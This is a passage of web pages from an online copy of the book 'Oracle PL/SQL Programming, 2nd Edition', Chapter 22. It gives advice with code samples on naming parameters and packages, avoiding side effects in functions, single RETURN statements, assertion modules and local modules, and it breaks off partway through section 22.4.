By incorporating the parameter mode directly into the parameter name, its purpose in the module is self-documenting. Whenever you encounter that parameter in the code, you know that you are looking at a parameter, not a local variable, and you know exactly the ways in which that parameter can be used and/or changed.

In order for the parameter mode to stand out in the formal parameter name, you can include it either as a suffix or as a prefix. As a suffix, the mode is appended to the end of the parameter name, as follows:

PROCEDURE combine_and_format_names
   (first_name_inout IN OUT VARCHAR2,
    last_name_inout IN OUT VARCHAR2,
    full_name_out OUT VARCHAR2,
    name_format_in IN VARCHAR2 := 'LAST,FIRST');

The prefix standard would result in a parameter list for the above procedure as follows:

PROCEDURE combine_and_format_names
   (inout_first_name IN OUT VARCHAR2,
    inout_last_name IN OUT VARCHAR2,
    out_full_name OUT VARCHAR2,
    in_name_format IN VARCHAR2 := 'LAST,FIRST') ;

You could also opt for a minimum of typing by simply using the first letter of each parameter mode:

PROCEDURE combine_and_format_names
   (io_first_name IN OUT VARCHAR2,
    io_last_name IN OUT VARCHAR2,
    o_full_name OUT VARCHAR2,
    i_name_format IN VARCHAR2 := 'LAST,FIRST') ;

In any of these cases, a quick glance over the code identifies which objects represent parameters in the program. You can also more easily catch logic errors, such as the following case of an illegal update of an IN parameter:

in_name_format := 'FIRST MIDDLE LAST';

A parameter with an "in" suffix or prefix should never have its value changed. A parameter with an "out" suffix or prefix should never be used on the right-hand side of an assignment because its value is indeterminate in the program (until it is given a value).

22.1.3 Name Packages and Their Elements to Reflect the Packaged Structure

Given that a package provides a new layer or context over the normal variables and modules, you should take some special care in naming your packages and the elements within them. The name you use for a standalone module, in particular, will change when you move it inside a package. Consider the following example. If I develop a set of standalone procedures and functions to maintain lists of information, I might name them as follows:

PROCEDURE list_create (list_in IN VARCHAR2);
PROCEDURE list_get
   (list_in IN VARCHAR2, position_in IN NUMBER, item_out OUT VARCHAR2);

and so on. I need to use the "list_" prefix in front of each module name so that the name clearly identifies the structure for the action.

Suppose I now move modules like these inside the scope of a package called "list." The specification for the package looks like this:

PACKAGE list
IS
   PROCEDURE list_create (list_in IN VARCHAR2);
   PROCEDURE list_get
      (list_in IN VARCHAR2, position_in IN NUMBER, item_out OUT VARCHAR2);
END list;

At first glance this looks reasonable enough. The real test, however, comes when you try to use the modules. Let's try it. To create a list using the package procedure, I would execute a statement like this:

list_pkg.list_create ('company_names');

Now, that looks silly. The "list" is mentioned in both the package name and the module name. It didn't make much sense to carry over the standalone module names to the package names. A much cleaner naming scheme should produce executable statements that remove the redundancies:

PACKAGE list_pkg
IS
   PROCEDURE create (list_in IN VARCHAR2);
   PROCEDURE get
      (list_in IN VARCHAR2, position_in IN NUMBER, item_out OUT VARCHAR2);
END list_pkg;

list.create ('company_names');

As you define modules in a package, always think of them within the context of the package. If a package is supposed to maintain lists, then the name of the package should reflect that general purpose. The names of the individual modules ought to focus on their particular purpose -- again, within the broader orientation of the package.

You might also consider setting as a standard the use of a _pkg suffix for all package names. With this approach, the list package and calls to the package look like this:

PACKAGE list_pkg
IS
   PROCEDURE create (list_in IN VARCHAR2);
   PROCEDURE get
      (list_in IN VARCHAR2, position_in IN NUMBER, item_out OUT VARCHAR2);
END list_pkg;

list_pkg.create ('company_names');

Personally, I have mixed feelings about this naming convention. It is important and useful to include information about the type of data in the name of the data, and I certainly encourage such a convention with cursors, records, tables, etc. A package, however, is a different sort of animal. It contains all those other language constructs. The way in which the package name is used to qualify the object already tells you what it is. It seems to me that inclusion of the _pkg suffix (or other indicator) reduces the readability of the code.

Previous: VI. Making PL/SQL Programs Work | Oracle PL/SQL Programming, 2nd Edition | Next: 22.2 Build the Most Functional Functions
VI. Making PL/SQL Programs Work | Book Index | 22.2 Build the Most Functional Functions
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 22] 22.2 Build the Most Functional Functions

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

22.2 Build the Most Functional Functions

I like functions. They can replace an awful lot of complex logic in an expression with a simple statement of the result of all that logic. The following tips will help you construct functions that are as useful as possible.

22.2.1 Avoid Side Effects in Functions

Your function has one purpose in life: returning a single value via the RETURN statement. If it does anything else, such as update global or database information, then that function has potentially created a side effect. Side effects generally limit functions' usefulness. Let's look at a few examples and discuss how you can avoid side effects.

22.2.1.1 Do not use OUT and IN OUT parameters

Although a function returns its value with the RETURN statement, PL/SQL allows you to define OUT and IN OUT parameters for a function. If you do that, the function can actually pass changed data back through the parameter itself into the calling block of code through the parameters. This is generally not a good idea, and is a typical side effect in a function.

The format_name function below contains side effect parameters. Let's examine the impact of these parameters. The function takes a first name and a last name and returns a full name with the format LAST, FIRST. Because a requirement of the application happens to be that all names must be in uppercase, the function also converts the first and last names to their uppercase versions. It uses two IN OUT parameters to do this.

FUNCTION format_name
   (first_name_inout IN OUT VARCHAR2,
    last_name_inout IN OUT VARCHAR2)
   RETURN VARCHAR2
IS
BEGIN
   first_name_inout := UPPER (first_name_inout);
   last_name_inout := UPPER (last_name_inout);
   RETURN last_name_inout || ', ' || first_name_inout;
END;

If the application requires uppercase names, you may wonder, then, what is wrong with converting the first and last names to uppercase in format_name? First of all, this approach may be trying to meet the requirement a bit too enthusiastically. If the formatted name -- the output, that is, of the function -- must be in uppercase, you can certainly accomplish that without modifying the parameters, as follows:

FUNCTION format_name
   (first_name_in IN VARCHAR2,
    last_name_in IN VARCHAR2)
RETURN VARCHAR2
IS
BEGIN
   RETURN UPPER (last_name_in || ', ' || first_name_in);
END;

The second reason you would not want to automatically uppercase the name components is that you will make format_name less useful as a basic utility. Your current application may insist on uppercase, but there will be plenty of other applications that maintain entities having first and last names -- and they do not have a similar requirement.

If you insist on the IN OUT parameters, the format_name utility could not be used in these other application development efforts.

22.2.1.2 Switch to a procedure with IN OUT parameters

If you do want a module that will convert both individual name components and the combined name to uppercase, then you would be better served with a procedure:

PROCEDURE combine_and_format_names
   (first_name_inout IN OUT VARCHAR2,
    last_name_inout IN OUT VARCHAR2,
    full_name_out OUT VARCHAR2)
IS
BEGIN
   first_name_inout := UPPER (first_name_inout);
   last_name_inout := UPPER (last_name_inout);
   full_name_out := last_name_inout || ', ' || first_name_inout;
END;

By using a procedure, you make it clearer that the module is applying changes to all the parameters. You avoid providing a function with side effects (i.e., other actions and impact beyond the return of a value). Let's take a look at the way these different modules would appear in your code.

  • Let's first look at the function version. All our attention is focused on depositing the formatted name into the caller_name item:

    full_name := format_name (first_name, :last_name);

  • Now let's look at the procedure version. The use of the plural of "name" in the name of the procedure indicates a change to more than one of the parameters:

    combine_and_format_names (first_name, last_name, full_name);

Generally speaking, when your function has a side effect such as the uppercasing of the parameter values, that function is less broadly useful. What if programmers don't want to have the other values uppercased? They would have to write their own function that does the same thing as format_name, but without the UPPER statements. This code redundancy will create nightmares down the road. If the function is supposed to return a formatted name based on the first and last names, then that is all it should do -- never use OUT and IN OUT parameters with a function.

22.2.1.3 Don't interact with users

Such parameters are not the only kinds of side effects you may be tempted to slip into a function. Consider this Oracle Forms function, which retrieves the name of a company from its primary key:

FUNCTION company_name (company_id_in IN company.company_id%TYPE)
   RETURN VARCHAR2
IS
   CURSOR name_cur IS
      SELECT name FROM company
       WHERE company_id = company_id_in;
   name_rec name_cur%ROWTYPE;
BEGIN
   OPEN name_cur;
   FETCH name_cur INTO name_rec;
   IF name_cur%FOUND
   THEN
      CLOSE name_cur;
      RETURN name_rec.name;
   ELSE
      BELL;
      MESSAGE ('Invalid company ID: ' || TO_CHAR (company_id_in),
               ACKNOWLEDGE);
      RAISE FORM_TRIGGER_FAILURE;
   END IF;
END;

When the company ID returns an existing company, the function properly closes the cursor and returns the company's name. When the SELECT statement comes up empty, however, I change my approach completely. Rather than return a value, I go into the equivalent of PL/SQL panic mode: ring the bell, display a message (and force the user to acknowledge that message), and then fail out of the calling trigger. I don't even close the cursor! Rather strong stuff, and very much out of place in this function.

My response to invalid data is a side effect in the function, made all the worse by the fact that my side effect completely substitutes for a RETURN. When the company ID does not find a match, I do not execute a RETURN statement at all.

The consequences of my error handling in this function are:

  • This function can be called only in Oracle Forms. It is, however, a fairly generic task: take a primary key and return a name/description. It could be a function stored in the database and available to any program that needs to perform the lookup. I have now made that impossible.

  • Anyone who calls this function gives up control over his or her own program. You cannot decide for yourself what to do if the name is not found. That message is displayed whether or not it is appropriate. That bell sounds even if users don't like to announce to everyone around them that they made a mistake. The best you can do is code an exception handler for FORM_TRIGGER_FAILURE in whatever trigger or program calls company_name.

A much better approach to the company_name function is simply to return a NULL value if the company is not found. Since the company name is a NOT NULL column, a NULL return value clearly indicates "no data found." This new approach is shown in the following example:

FUNCTION company_name (company_id_in IN company.company_id%TYPE)
   RETURN VARCHAR2
IS
   CURSOR name_cur IS
      SELECT name FROM company
       WHERE company_id = company_id_in;
   name_rec name_cur%ROWTYPE;

   no_company_found EXCEPTION;
BEGIN
   OPEN name_cur;
   FETCH name_cur INTO name_rec;
   IF name_cur%FOUND
   THEN
      CLOSE name_cur;
      RETURN name_rec.name;
   ELSE
      RAISE no_company_found;
   END IF;
EXCEPTION
   WHEN no_company_found OR OTHERS
   THEN
      CLOSE name_cur;
      RETURN NULL;
END;

This is now a nonjudgmental, mind-your-own-business function. It doesn't try to dictate the terms of surrender, or tell programmers who call it how they should handle a lack of data. It simply reports back the problem by returning a NULL value. Users of the function may then decide for themselves on an appropriate consequence, which might well consist of every action formerly embedded in the function itself:

new_company := company_name (:company.company_id);
IF new_company IS NULL
THEN
   BELL;
   MESSAGE
      ('Invalid company ID: ' || TO_CHAR (:company.company_id),
       ACKNOWLEDGE);
   RAISE FORM_TRIGGER_FAILURE;
END IF;

At least now the programmer has freedom of choice.

Side effects in functions come in many shapes and flavors. If you remember to keep the focus of the function on computing and returning its value, the resulting module will be more effectively and widely used.

22.2.2 Use a Single RETURN Statement for Successful Termination

A function exists to return a single value. The best way to structurally emphasize this single-minded focus in the body of the function is to make sure that the only RETURN statement in the execution section of the function is the last executable statement. Consider the following code-translating function:

FUNCTION status_desc (status_cd_in IN VARCHAR2) RETURN VARCHAR2
IS
BEGIN
   IF    status_cd_in = 'C' THEN RETURN 'CLOSED';
   ELSIF status_cd_in = 'O' THEN RETURN 'OPEN';
   ELSIF status_cd_in = 'A' THEN RETURN 'ACTIVE';
   ELSIF status_cd_in = 'I' THEN RETURN 'INACTIVE';
   END IF;
END;

Each of the different RETURN statements is actually a different exit point in this function. You are now probably saying to yourself, "This is such a simple program. What's wrong with using the different RETURN statements?"

Granted, the program is straightforward and short enough so that, at a glance, you understand its purpose and follow the exit flow. Unfortunately, it also is prone to failure. What if the status code that is passed into status_desc is not one of C, O, A, or I? Then the function does not even execute a RETURN statement, leaving the calling program with indeterminate results. Now examine the version of status_desc that relies on a single RETURN:

FUNCTION status_desc (status_cd_in IN VARCHAR2) RETURN VARCHAR2
IS
   return_value VARCHAR2 (20) := NULL;
BEGIN
   IF    status_cd_in = 'C' THEN return_value := 'CLOSED';
   ELSIF status_cd_in = 'O' THEN return_value := 'OPEN';
   ELSIF status_cd_in = 'A' THEN return_value := 'ACTIVE';
   ELSIF status_cd_in = 'I' THEN return_value := 'INACTIVE';
   END IF;
   RETURN return_value;
END;

Here, my IF statement assigns the description to a local variable. After the IF statement, the RETURN statement serves its purpose in life, which is to pass the value of the variable back to the calling program. Because I initialize the temporary description to NULL, if the status code is not one of the chosen four, then I return NULL. In any case, the result is that, by placing the RETURN statement at the last line of the execution section of the function, I always execute a RETURN statement when the function completes successfully. There are no holes in my return logic.

This approach is absolutely critical when your function is more elaborate and longer than 10 or 20 lines in length, perhaps even hundreds of lines long. It can be very difficult to follow multi-page complex logic, and nearly impossible to confirm, simply by reading the code, that the function always issues a RETURN statement for all branches of the logic. Your application works much more reliably if you build right into it the requirement that the only RETURN statement in the function occurs at the end of the program.

22.2.2.1 Build a function template

I realize that it is one thing to read through all of the tips in this book and, as you read them, nod in agreement with their wisdom. It is quite another thing to both remember the tips and make the time to put them to use in your code. The best way I have found to at least improve the chances that I follow even my own advice is to set hard and fast rules -- and then stick to them. When it comes to "Use a single RETURN statement for successful termination," I try to always follow two simple rules when creating a function:

  • Always declare a local variable named "return_value" with a datatype that matches the RETURN clause of the function. If I am returning a VARCHAR2, declare a VARCHAR2 local variable. If I am returning data with the same datatype as a table column, declare that. Here are two examples:

    FUNCTION net_sales (company_id_in IN company.company_id%TYPE)
   RETURN NUMBER
IS
   return_value NUMBER;
BEGIN
   ...
END;
or:
FUNCTION company_name (company_id_in IN company.company_id%TYPE)
   RETURN company.name%TYPE
IS
   return_value company.name%TYPE;
BEGIN
   ...
END;

  • Always make the last executable statement of my function the RETURN statement as follows:

    RETURN return_value;

By following these two rules, the general structure of my function now looks like this:

FUNCTION function_name (parameter_list) RETURN datatype
IS
   return_value datatype;
BEGIN
   ... executable code of function ...

   RETURN return_value;
EXCEPTION
   ... optional exception section ...
END;

The name of the local variable states quite clearly that it is standing in for the data that is to be returned by the function. Any time this return_value variable is assigned a value in the function, you know that the function is fulfilling its purpose of generating a value to be returned with the RETURN statement. It provides a clean, understandable, and predictable structure for the function. I have even gone so far as to create a template script on disk that implements this guideline. It looks like this:

/* Filename on companion disk: functmpl.sf */
CREATE OR REPLACE FUNCTION fname () RETURN datatype
IS
   return_value datatype;
BEGIN
   RETURN return_value;
END fname;

Then I just have to search-and-replace on "fname" and "datatype" and I am all ready to go.

22.2.2.2 Exception handling

One exception to the rule of a single RETURN statement in a function concerns exception handling. A function should return a value, whether it completes successfully or it fails. Upon successful completion, you can use the above structure to guarantee that the RETURN executes. What if the function fails? Any exception handler in a function should have as its last executable statement a RETURN of its own, as this example shows:

FUNCTION present_value
   (FV IN NUMBER, interest_rate IN NUMBER, period IN NUMBER)
RETURN NUMBER
IS
   return_value NUMBER;
   negative_value EXCEPTION;
BEGIN
   return_value := FV / ((1 + interest_rate)**period);
   IF return_value < 0
   THEN
      RAISE negative_value;
   ELSE
      RETURN return_value;
   END IF;
EXCEPTION
   WHEN negative_value
   THEN
      RETURN 0;

   WHEN OTHERS
   THEN
      RETURN NULL;
END;

When each handler has its own RETURN statement, you can be sure that the function returns a value regardless of the way it is terminated. The present_value function also illustrates another important principle: if the program encounters an error, always call an exception handler to deal with the problem. Do not process the error inline. PL/SQL provides a very structured distinction between the executable body of the program and the exception section. As soon as you hit an error or logical exception to normal processing, RAISE an exception to transfer control out of normal execution.

22.2.3 Avoid Exception Handlers for Normal Program Exits

There is always only one entry point for a module: the first executable statement is always the one that follows the BEGIN statement. PL/SQL does not allow you to enter a block at an arbitrary line of code. The same cannot be said, however, for the way in which a module terminates. A PL/SQL program unit may complete its execution either through the last executable statement, a RETURN statement, or the exception handler section, as is appropriate:

  • The last executable statement in a program is the normal exit point for a procedure.

  • The RETURN statement is the normal exit point for a function.

  • The exception section is the way out of a module that has hit an error and raised an exception.

A programming language like PL/SQL is constructed very carefully: every keyword and element of syntax is chosen with a specific purpose. Although you can at times justify using a language construct in an unorthodox way, in most cases such an action will raise a red flag and be closely examined. One example of such linguistic abuse occurs when a programmer uses an exception handler to perform a normal program exit. Here is an example:

FUNCTION company_name (company_id_in IN company.company_id%TYPE)
   RETURN VARCHAR2
IS
   cname company.company_id%TYPE;
   found_it EXCEPTION;
BEGIN
   SELECT name INTO cname FROM company
    WHERE company_id = company_id_in;
   RAISE found_it;
EXCEPTION
   WHEN NO_DATA_FOUND
   THEN
      RETURN NULL;
   WHEN found_it
   THEN
      RETURN cname;
END;

In this function the programmer uses an implicit cursor to try to find the company that matches the incoming primary key. If no record is found, the program properly handles the NO_DATA_FOUND exception and returns NULL. But if a record is returned, then the program RAISEs an exception, which in turn returns the company name selected.

The found_it exception is not an exception at all. It indicates successful completion of the program. Rather than use an exception, the function should simply issue a RETURN with cname, indicating that the SELECT was successful:

FUNCTION company_name (company_id_in IN company.company_id%TYPE)
   RETURN VARCHAR2
IS
   cname company.company_id%TYPE;
BEGIN
   SELECT name INTO cname FROM company
    WHERE company_id = company_id_in;
   RETURN cname;
EXCEPTION
   WHEN NO_DATA_FOUND THEN    RETURN NULL;
END;

In this case the replacement of the RAISE with a RETURN was obvious and straightforward; no other code changes were required. In other situations, it can take much more effort to undo the poor programming practices of others. It is much better to do the job right the first time!

Programmers are often tempted to use the RAISE statement because it acts like a GOTO: it immediately halts execution of the program and transfers control to the exception section. This GOTO-like behavior can be very convenient when a programmer cannot figure out how to use IF statements in a structured way to neatly end the program. In this case, the RAISE statement becomes an easy way out.

If you find yourself writing programs that rely on the RAISE statement to do something besides handle exceptions, take a step back. Examine the logical flow of the program and explore how you can use the standard control structures (IF, LOOP, and perhaps even GOTO as a last resort) to accomplish your task instead.

22.2.4 Use Assertion Modules to Validate Parameters and Assumptions

Just about every piece of software you write makes assumptions about the data it manipulates. For example, parameters may have only certain values or be within a certain range, or a string value should have a certain format. In both of these cases, an underlying data structure is assumed to have been created. It's fine to have such rules and assumptions, but it is also very important to verify or "assert" that none of the rules is being violated.

One approach you can take in this verification process is to make use of the IF statement at the beginning of your program. The status_desc function shown below uses the conditional construct to implicitly validate the value of the argument. The function does not actively or explicitly check to see if the status code argument is one of C, O, A, or I. Instead, the IF statement returns a non-null value only if a valid code is provided.

FUNCTION status_desc (status_cd_in IN VARCHAR2) RETURN VARCHAR2
IS
   return_value VARCHAR2 (20) := NULL;
BEGIN
   IF    status_cd_in = 'C' THEN return_value := 'CLOSED';
   ELSIF status_cd_in = 'O' THEN return_value := 'OPEN';
   ELSIF status_cd_in = 'A' THEN return_value := 'ACTIVE';
   ELSIF status_cd_in = 'I' THEN return_value := 'INACTIVE';
   END IF;
   RETURN return_value;
END;

The status_desc function does not really assert anything. If the programmer passes an invalid status code, the function returns NULL. Sometimes this kind of behavior makes sense. Perhaps a status code other than C, O, A, or I is a valid entry and a NULL description is useful information in the application. In that case, an assertion of argument validity is not needed.

On the other hand, what if a legal value should always be passed to status_desc? What if a different value means that a programmer has coded her use of the function improperly? If status_desc is an "internal" function accessed only by programmers and not intended to handle user input, then an illegal status code probably reflects a typographical error or a misunderstanding of the program's use. In this case, the lack of feedback by status_desc on the invalid argument results in hard-to-trace errors. Because the programmer is not informed of the typographical mistake when it happens, the problem propagates through other modules before it surfaces.

22.2.4.1 Trap invalid argument values

If the status_desc function is built to accept only four valid entries, then it should raise a red flag when that rule is broken. The following function shows a version of status_desc that adds an ELSE clause to trap an invalid entry:

FUNCTION status_desc (status_cd_in IN VARCHAR2) RETURN VARCHAR2
IS
   return_value VARCHAR2 (20) := NULL;
BEGIN
   IF    status_cd_in = 'C' THEN return_value := 'CLOSED';
   ELSIF status_cd_in = 'O' THEN return_value := 'OPEN';
   ELSIF status_cd_in = 'A' THEN return_value := 'ACTIVE';
   ELSIF status_cd_in = 'I' THEN return_value := 'INACTIVE';
   ELSE
      MESSAGE ('Invalid status code: ' || status_cd_in);
      RAISE FORM_TRIGGER_FAILURE;
   END IF;
   RETURN return_value;
END;

With this new version, programmers get immediate feedback if they pass an illegal value to status_desc. That problem is solved, but I personally find this solution less than totally satisfactory. Since it forces me to add several lines of code to the body of my program -- lines that were added simply to handle values that never should have gotten into the program -- this approach is somewhat intrusive and inelegant. Consider the alternative below:

FUNCTION status_desc (status_cd_in IN VARCHAR2) RETURN VARCHAR2
IS
   return_value VARCHAR2 (20) := NULL;
BEGIN
   /* Assert that the status code is valid */
   assert_condition (status_cd_in IN ('C', 'O', 'A', 'I'));

   /* Now perform processing of valid argument. */
   IF    status_cd_in = 'C' THEN return_value := 'CLOSED';
   ELSIF status_cd_in = 'O' THEN return_value := 'OPEN';
   ELSIF status_cd_in = 'A' THEN return_value := 'ACTIVE';
   ELSIF status_cd_in = 'I' THEN return_value := 'INACTIVE';
   END IF;
   RETURN return_value;

END;

The procedure, assert_condition, looks like this:

PROCEDURE assert_condition (condition_in IN BOOLEAN)
IS
BEGIN
   IF NOT condition_in
   THEN
      /* Uses generic PL/SQL exception */
      RAISE VALUE_ERROR;
   END IF;
END;

Now the first line of my program is a call to a very general assertion module. I pass the condition, which must evaluate to TRUE in order for the assumptions to hold. In this case the condition was a fairly complex Boolean expression:

status_cd_in IN ('C', 'O', 'A', 'I')

This kind of a program is called an assertion module because its single Boolean parameter asserts that a condition is true, and leaves it to the module to reject that claim. Clearly, there isn't much to assert_condition. It just hides an IF statement behind a procedural interface. Yet, by including the call to assert_condition, I can let the remainder of the body of my program concentrate on handling the valid data properly. I do not have to include special handling for illegal values.

Because assert_condition is very generic, I can use it in any program that has a condition I can express in a single Boolean expression. I don't have to code special nested logic repeatedly. I tell assert_condition what rule I want to test, and leave it to the module to take action (raise an exception) when necessary.

22.2.4.2 An application-specific assertion module

Of course, you can build less generic versions of assert_condition. The next function shows an assertion module for Oracle Forms that displays an optional message to the screen:

PROCEDURE assert_condition
   (condition_in IN BOOLEAN, message_in IN VARCHAR2 := NULL)
IS
BEGIN
   IF NOT condition_in
   THEN
      /* Use NVL to substitute default message if not provided. */
      MESSAGE (NVL (message_in, 'Check Condition Failure!'));

      /* Raise an exception specific to Oracle Forms. */
      RAISE FORM_TRIGGER_FAILURE;
   END IF;
END;

You can even produce assertion modules that handle very specific kinds of conditions. If you do a lot of work with record groups in Oracle Forms, you find yourself checking repeatedly at the beginning of your program to see that the name or handle for the record group points to a valid record group. You do this with the ID_NULL and FIND_GROUP built-ins, as follows:

IF ID_NULL (FIND_GROUP ('monthly_sales'))
THEN
   MESSAGE ('Record group does not exist!');
   RAISE FORM_TRIGGER_FAILURE;
ELSE
   FOR month_count IN 1 .. GET_GROUP_ROW_COUNT ('monthly_sales')
   LOOP
      ... process monthly data ...
   END LOOP;
END IF;

Again, rather than write these statements over and over in each of your programs, you can bundle them into a standalone module, as shown below:

assert_valid_group ('monthly_sales');
FOR month_count IN 1 .. GET_GROUP_ROW_COUNT ('monthly_sales')
LOOP
   ... process monthly data ...
END LOOP;

Then simply call that assertion program:

PROCEDURE assert_valid_group (rg_name_in IN VARCHAR2)
/*
|| Assertion: if there is not a valid Id for the record
|| group, display message and raise exception. This is a
|| "design" error; code should not continue executing.
*/
IS
   rg_id RECORDGROUP := FIND_GROUP (rg_name_in);
BEGIN
   IF ID_NULL (rg_id)
   THEN
      MESSAGE (' Record group  '||rg_name_in|| ' is not defined.');
   END IF;
END;

A big advantage of the assertion procedure over the ELSE clause is that it clearly states, at the very beginning of the module, the assumptions for that program. With the ELSE clause, a failure is a byproduct of the module's execution. The rule violation is only implied by the structure of the IF statement and not expressed explicitly.

22.2.4.3 Is an assertion module a side effect?

But wait. If I call assert_condition from within a function and the assertion fails, the function will not execute a RETURN statement. Doesn't the use of an assertion module violate my guideline to always return a value from a function? The assert_condition procedure bails out of the calling module (or at least forces a transfer to the exception section) without any regard for whether a RETURN statement is needed. Even worse, doesn't the Oracle Forms version containing a MESSAGE statement contradict my suggestion to avoid side effects in a function?

Yes and no. Yes, I admit that when assert_condition RAISEs its exception, you do not issue a RETURN statement (unless you code for it yourself in the function, but then you would have to know which exception was RAISEd by assert_condition). I also admit that the MESSAGE is a side effect in the function, the main purpose of which is to return a row number in a table.

But I can explain everything, honest!

You see, the point of assert_condition is to test the underlying assumptions in the very structure of the module. If status_desc is called with an invalid code, that kind of error is very different from, say, a NO_DATA_FOUND when obtaining the name for a particular company ID number. The status_desc function as a whole is invalid if it is not passed a valid code. In this context, it doesn't even make sense to continue processing. The assert_condition procedure uncovers design level errors in the code that must be corrected before you can even worry about data entry errors or other application-level concerns.

The logic behind assert_condition is similar to the way Oracle Forms handles level 25 errors when it executes a form. No matter how high a value you have set for SYSTEM.MESSAGE_LEVEL, Oracle Forms always halts processing in a form when it encounters a level 25 error, which indicates a design error in the application.

Previous: 22.1 Select Meaningful Module and Parameter Names | Oracle PL/SQL Programming, 2nd Edition | Next: 22.3 Take Full Advantage of Local Modularization
22.1 Select Meaningful Module and Parameter Names | Book Index | 22.3 Take Full Advantage of Local Modularization
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 22] 22.3 Take Full Advantage of Local Modularization

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

22.3 Take Full Advantage of Local Modularization

A local module is a procedure or function that is defined within the declaration section of another module. The scope of a local module is the module in which it is declared. It is invisible to all other modules, and can be called only from within that defining module.

Few PL/SQL developers are aware of the local module feature, and fewer yet take full advantage of this capability. Yet I can think of few other aspects of the language that are more important to constructing clean, elegant, easily maintained programs. I strongly encourage you to use local modules at every possible opportunity, and offer several examples in this section to highlight their usefulness.

Local modules are very handy ways to "normalize" redundant code inside a program. If you perform the same calculation over and over again in a module, don't hardcode the calculation repeatedly. Instead, place it in its own function or procedure and then call that module. The power of such an approach is clear when you examine the following program. In the format_data procedure, I extract a value from the rg_sales record group, divide it by projected sales, and convert to a formatted string -- over and over again. This code is taken from a production Oracle Forms application, and is actually just a small portion of the full set of more than two dozen repetitive calculations.

PROCEDURE format_data
   (projected_sales_in IN NUMBER, year_in IN INTEGER)
IS
   /* Declare local variables for calculations. */
   total_cost NUMBER (9);
   gross_profit NUMBER (9);
   crew_labor NUMBER (9);
   mgmt_labor NUMBER (9);
BEGIN
   :owner.total_cost_pc :=
      TO_CHAR((net_present_value ('total_sales', year_in) /
               projected_sales_in * 100),'999.99');
   :owner.gross_profit_pc :=
      TO_CHAR((net_present_value ('gross_profit', year_in) /
               projected_sales_in * 100),'999.99');
   :owner.crew_labor_pc :=
      TO_CHAR((net_present_value ('crew_labor', year_in) /
               projected_sales_in * 100),'999.99');
   :owner.mgmt_labor_pc :=
      TO_CHAR((net_present_value ('mgmt_labor', year_in) /
               projected_sales_in * 100),999.99');
END;

I suppose that when you work in a Windows environment, it isn't necessarily such a big deal to write code like this. You cut and paste, cut and paste ... who knows? You might even use Microsoft Recorder or some other utility to automate the process. However you manage it, though, you still end up with lots of repetitions of the same fragment of code. You still end up with code that is hard to maintain.

Because I have exposed the way I perform the calculation, I must upgrade each distinct calculation whenever a change is required (different numeric format, different numeric formula, etc.). If, on the other hand, I hide the calculation behind the interface of a callable module, then the calculation is coded only once. With the help of a local module, the format_data procedure is transformed as shown in this example:

PROCEDURE format_data
   (projected_sales_in IN NUMBER, year_in IN INTEGER)
IS
   total_cost     NUMBER (9);
   gross_profit   NUMBER (9);
   crew_labor     NUMBER (9);
   mgmt_labor     NUMBER (9);

   /*----------------------- Local Module ----------------------*/
   FUNCTION npv (column_in IN VARCHAR2) RETURN VARCHAR2 IS
   BEGIN
      RETURN
         TO_CHAR((net_present_value ('' || column_in, year_in) /
                  projected_sales_in * 100),'999.99');
   END;

BEGIN
   /* Perform direct, readable assignments using the function. */
   :owner.total_cost_pc     := npv ('total_cost');
   :owner.gross_profit_pc := npv ('gross_profit');
   :owner.crew_labor_pc   := npv ('crew_labor');
   :owner.mgmt_labor_pc   := npv ('mgmt_labor');
END;

The total amount of code is less than before and the body of format_data is so much more readable. Notice how the name of the procedure actually helps make the code self-documenting. The procedure name states precisely the nature of the calculation performed. Any additional documentation would in itself be redundant. With npv, if I ever need to change the format mask or the formula, I simply make a change to the npv function and then recompile. No fuss, no muss.

Notice that it doesn't make any sense to create npv as a standalone module outside of the format_data procedure. This calculation is very specific to the format_data program. Because no other module would ever call it, you needn't clutter up your stored procedure environment or your Oracle Forms program unit listing with this module-specific utility.

I have found that few developers are aware of the ability to create local modules. I have also found that these modules-within-a-module play an important role in allowing me to write well-structured, elegant programs.

These days it seems that whenever I write a program with more than 20 lines, and with any complexity whatsoever, I end up creating several local modules. It helps me see my way through to a solution in the following ways:

  • Conceptualizing my code at a higher level of abstraction by assigning a name to a whole sequence of statements.

  • Performing top-down design and step-wise refinement of my requirements.

  • Extracting local modules at a later date, thus making truly independent, reusable procedures or functions if the need arises.

Take a look at any of your more complex programs and I guarantee you will quickly identify segments of the code that would serve you better bundled into a local module.

Previous: 22.2 Build the Most Functional Functions | Oracle PL/SQL Programming, 2nd Edition | Next: 22.4 Be Wary of Modules Without Any Parameters
22.2 Build the Most Functional Functions | Book Index | 22.4 Be Wary of Modules Without Any Parameters
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 22] 22.4 Be Wary of Modules Without Any Parameters

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

22.4 Be Wary of Modules Without Any Parameters

While you certainly shouldn't create parameters where you don't need them, I have found that a lack of parameters in a module usually reflects a limited vision of how the module will be used. That limited vision generally translates directly to a limited use of the module.[1]

[1] Very few modules truly have no input or output. Two examples of appropriate parameterless modules are a procedure that simply encapsulates a sequence of statements and a procedure that manipulates global variables. Such programs are the exception rather than the rule.

In many of the cases, modules without parameter lists are fundamentally crippled -- they force a programmer to know about the internals of the module and therefore cannot act as true black boxes. This situation arises most often from an overreliance on global variables.

Consider the example of the parameterless company_name function shown here. This program is driven by an Oracle Forms global variable. It returns the name of the company corresponding to the company ID number in the global.

FUNCTION company_name RETURN VARCHAR2
IS
   cname company.company_id%TYPE;
BEGIN
